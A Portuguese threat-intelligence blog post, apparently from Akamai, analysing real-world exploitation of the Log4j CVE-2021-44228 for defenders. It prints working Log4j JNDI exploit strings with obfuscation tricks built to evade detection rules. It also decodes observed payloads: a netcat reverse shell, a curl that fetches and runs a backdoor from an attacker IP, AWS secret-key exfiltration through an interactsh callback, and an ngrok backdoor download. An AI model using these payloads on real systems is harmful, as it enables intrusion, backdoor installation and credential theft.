Inteligência contra ameaças com relação a CVE do Log4j: principais descobertas e implicações
Dando continuidade à nossa pesquisa sobre a CVE-2021-44228, a Akamai já escreveu sobre o que é essa vulnerabilidade e ofereceu recomendações para ir além da mera aplicação de patches para obter proteção extra. O tráfego diário em toda a rede Akamai é de 1,3 bilhão de dispositivos exclusivos, com um recorde de 182 Tbps. A equipe que pesquisa ameaças vem investigando esse tráfego para conseguir insights mais relevantes sobre como essa vulnerabilidade está sendo explorada. Queremos compartilhar outras descobertas técnicas e o que elas significam para os caçadores de ameaças. Veja algumas implicações relevantes para defensores e caçadores de ameaças:
- Essa vulnerabilidade provavelmente terá um longo rastro de ataque. Como esse software é amplamente utilizado, e levando em conta o grande número de variações de exploração, prevemos que ainda haverá muitas tentativas de aproveitamento da situação nos próximos meses e que muitas violações serão descobertas no futuro. Continuamos a recomendar patches urgentes para mitigar futuras tentativas de ataque.
- Os invasores passaram a aproveitar oportunidades de injeção e se tornaram mais direcionados. Eles foram atrás de cada ponto de injeção que podiam, assim como já haviam feito em relação às mutações de exploração. E, embora tenham começado com alguns fatores óbvios, como o agente do usuário, eles rapidamente começaram a perseguir parâmetros específicos das organizações. Essa inteligência é bastante útil para que os defensores da Web se adaptem com agilidade às mudanças que não param de aparecer
- Pode levar meses até que as consequências do reconhecimento possam ser totalmente compreendidas. Na grande maioria, as atividades observadas foram reconhecimento e teste, em comparação com uma porcentagem relativamente menor de ataques de fato. E, embora os ataques possam ser mitigados com a aplicação de patches e outros métodos, não está claro quantas violações ocorreram durante esse período. Levará algum tempo até que todas as violações sejam totalmente descobertas e que possamos entender a magnitude delas.
Vamos analisar em detalhes as descobertas.
1ª descoberta: um começo calmo, seguido por um tsunami global de atividades maliciosas
Demorou um pouco para que se intensificassem as tentativas de exploração cujo alvo eram nossos clientes. No entanto, bastou o começo para que viessem grandes e sucessivas ondas. Isso também se correlacionaria com outras descobertas, a saber, que, à medida que invasores descobriam mais vetores de ataque, as variações de exploração e o volume das atividades maliciosas aumentavam drasticamente.
Como em outros zero days, os adversários foram muito rápidos para adotar essa exploração e expandir o arsenal de ataques. A partir dos nossos dados, podemos dizer que a Akamai já tinha conhecimento, por conta de ataques anteriores, de aproximadamente 57% da infraestrutura de ataques enviando explorações de log4j. Ou seja, o tsunami consistiu em tanto em invasores antigos que aproveitaram oportunidades quanto em novos invasores.
A onda de ataques também era global. Inicialmente, a maioria dos ataques tinha origem nos Estados Unidos, Singapura, Alemanha e Brasil, mas as geografias eram bastante distribuídas. Também observamos que alguns ataques vinham de servidores hospedados em provedores de nuvem populares, como AWS e DigitalOcean.
Percebemos que as regiões geográficas dos IPs de ataque mudam constantemente. Em 15 de dezembro, observamos que o Canadá, a Federação Russa, Luxemburgo (surpreendentemente) e o Reino Unido eram os países onde estavam as máquinas de invasão de onde partiu a maioria dos ataques log4j.
O comércio dominou os verticais do setor, superando em muito um grande segmento entre setores. Mais de 50% dos clientes de segurança de aplicações da Akamai foram alvo de tentativas de exploração em apenas uma hora.
Como alvos de ataques, os Estados Unidos superaram em mais de cinco vezes o país de destino mais próximo (Reino Unido), e mais uma vez houve um grande grupo de países com tentativas semelhantes.
2ª descoberta: mutações de exploração sem precedentes
Além do impacto enorme dessa vulnerabilidade, notamos uma evolução inédita das variantes das explorações.
Embora o vetor de ataque inicial sugerido na exploração da prova de conceito tenha sido:
${jndi:ldap://malicious_server_address/}
Outras técnicas de evasão diretas, como cargas codificadas com URL, surgiram imediatamente:
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
Em questão de horas, os invasores começaram a experimentar outros provedores de serviço de registro JNDI, como "rmi" e "dns", para evitar as detecções que buscavam especificamente "ldap", que foram sugeridas como:
${jndi:rmi:// e ${jndi:dns://
A documentação atual das pesquisas sobre log4j 2 ajuda a entender a superfície de ataque e o potencial de evasões. Os invasores e pesquisadores estavam tentando usar alguma das diretivas de pesquisa para criar uma variante de ataque ofuscada que não incluísse "jndi", ou seja, uma string que aparentemente a maioria dos defensores está buscando nas regras de detecção.
Como log4j não diferencia maiúsculas de minúsculas, as diretivas de pesquisa de transformação de caracteres mais triviais foram usadas primeiro: "minúsculas" e "maiúsculas":
${${lower:j}ndi: e ${${upper:j}ndi:
Além disso, era possível inserir strings de qualquer comprimento na função de pesquisa, não apenas um único caractere, para que funcionasse:
${${lower:jnd}i:
Imediatamente, os invasores descobriram que é possível estabelecer uma variável de usuário e defini-la com um valor padrão usando um sinal "-", cujo resultado é retornar esse valor padrão após a definição. Isso cria outro truque para ofuscar as strings "jndi" e "ldap":
${${x:-j}ndi:
Aparentemente, a estrutura log4j nem sequer precisa que um nome seja dado a uma variável, enquanto as variantes de exploração começaram a incluir os nomes de variáveis "empty" e também variáveis com profundidade múltipla:
${${:-j}ndi: e ${${::::::-j}ndi:
Algumas variantes começaram a usar outras diretivas de usuário, como "env", para definir novas variáveis ambientais, e "date", que surpreendentemente não exige nenhum formato de data:
${${env:BARFOO:-j}ndi e ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
Variantes mais avançadas, que surgiram poucos dias após o lançamento da exploração agressiva, incluíram também um abandono da string "empty". Os invasores estavam buscando uma expressão e método de pesquisa, que, quando avaliados, poderiam resultar em uma string "empty", o que significa que a expressão poderia ser inserida entre qualquer caractere, por exemplo:
${:-}
Variantes mais avançadas da string "empty" usavam configurações específicas de sistemas e injetavam itens como:
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
E muitas outras variantes, como o código de URL duplo, unicode e expressões sem a chave de fechamento "}", que também observamos nas tentativas feitas pelos invasores.
É importante observar que os invasores estavam tentando variantes diferentes de ataques que não estavam funcionando, como:
$jndi:ldap://
3ª descoberta: vários locais de injeção, desde ataques oportunistas até os direcionados
Em nossa pesquisa, descobrimos que os invasores injetavam a carga de exploração em vários lugares. O lugar mais comum onde a exploração foi inserida: os argumentos da Cadeia de Consulta, o cabeçalho Usuário-Agente, como na exploração original da prova de conceito, e o caminho da solicitação, supondo que os servidores e aplicações Web registrariam informações de "acesso", como método, caminho da solicitação e usuário-agente.
Na maioria dos ataques, a injeção estava em diferentes parâmetros de consulta sem utilidade, como "x", "test" e "foo". Outros parâmetros de consulta como "url", "nextUrl", "_csrfToken", "_endcoding" e "openid.retrun_to" foram usados, na tentativa de adivinhar e, ao mesmo tempo, estimar, se tais parâmetros tinham grandes chances de serem registrados.
Cada cabeçalho que você pode imaginar era um alvo para injeção, incluindo Cookie, Referer, X-Forwarded-For e Connection.
Muitos dos invasores enviavam solicitações injetando a exploração em vários lugares da mesma solicitação.
4ª descoberta: a análise de carga mostra o uso de reconhecimento cego, aplicação de malware e ferramentas de pós-exploração
A maioria dos agentes de ameaças está aplicando a técnica de reconhecimento "cego", utilizando os serviços online mais populares para detecção de interação de serviços externos. Para determinadas vulnerabilidades, o invasor não consegue uma resposta direta do serviço-alvo para confirmar uma vulnerabilidade. Nesses casos, a técnica para testar se um website é vulnerável é tentar executar um código para entrar em contato com um servidor externo controlado pelos invasores, que vão escutar tais conexões. Se o servidor do invasor receber um "beacon" de um determinado servidor, isso significa que esse servidor executou com êxito o código do invasor. Em vez de configurar e manter um servidor desses, a maioria dos invasores usava as configurações online mais populares exatamente com essa intenção.
Os serviços mais populares utilizados no ataque log4j foram "ineract.sh", "burpcollaborator.net" e "canarytokens.com", mas vários outros nomes de domínio foram utilizados nos ataques. Muitos desses domínios hospedavam uma implantação do servidor de interação fora da banda com código aberto "Ineractsh".
Figura: serviço "canarytokens.com" para detectar a interação de fora da banda que foi usada no ataque log4j
Além do beacon de reconhecimento cego, muitos dos invasores já estavam tentando extrair dados úteis, como o nome do host da máquina, ou dados do ambiente, como java:os, java:vm, env:user, chegando até mesmo a conseguir chaves AWS para facilitar a tomada de controle da conta AWS.
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
Outras cargas incluem a execução direta de comandos com a carga codificada base64:
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
O que se transforma em:
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
Os invasores estão abrindo um shell reverso para o servidor C2, baixando e executando um script spearhead de bash e enviando um sinal de "DNS" para "burpcollaborator.net" com o objetivo de confirmar que o servidor está vulnerável.
Serviços de túnel reverso, como "ngrok.io", também foram usados para ocultar as identidades dos invasores:
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
Enquanto o comando executado era para baixar um backdoor:
wget 8.tcp.ngrok.io:14639
A vantagem desses serviços de túnel é que os invasores não precisam hospedar um malware no próprio servidor público deles, que pode ser desligado ou apreendido pelas autoridades. Nesse caso, um invasor hospedaria um malware, o comando e o painel de controle na própria máquina e poderia se ocultar atrás de um serviço legítimo de túnel, e tal serviço faria o "proxy" do tráfego C2 do equipamento da vítima para a máquina do invasor.
Além dos agentes de ameaça que implantam criptomineradores e bots DDoS, descobrimos que certos invasores agressivos realizam um grande volume de verificações buscando máquinas com Windows. Os invasores estavam tentando implantar o famoso backdoor "netcat", uma ferramenta conhecida de escalonamento de privilégios do Windows comumente usada para movimentação lateral subsequente ou para obtenção de privilégios, para criptografar o disco com ransomware.
Um dos servidores dos invasores que hospeda ferramentas de ataque do tipo netcat e WinPEAS
Dentre os ataques gerais que observamos até o momento, apenas uma pequena porcentagem parece estar relacionada a ransomwares.
Fique atento para mais novidades
Já conseguimos alguns insights bastante relevantes sobre dados, mas ainda não chegamos no fim. As equipes de inteligência contra ameaças, pesquisa de segurança e resposta a incidentes da Akamai continuam monitorando e protegendo nossa infraestrutura e nossos clientes, aproveitando nossa visibilidade e inteligência.
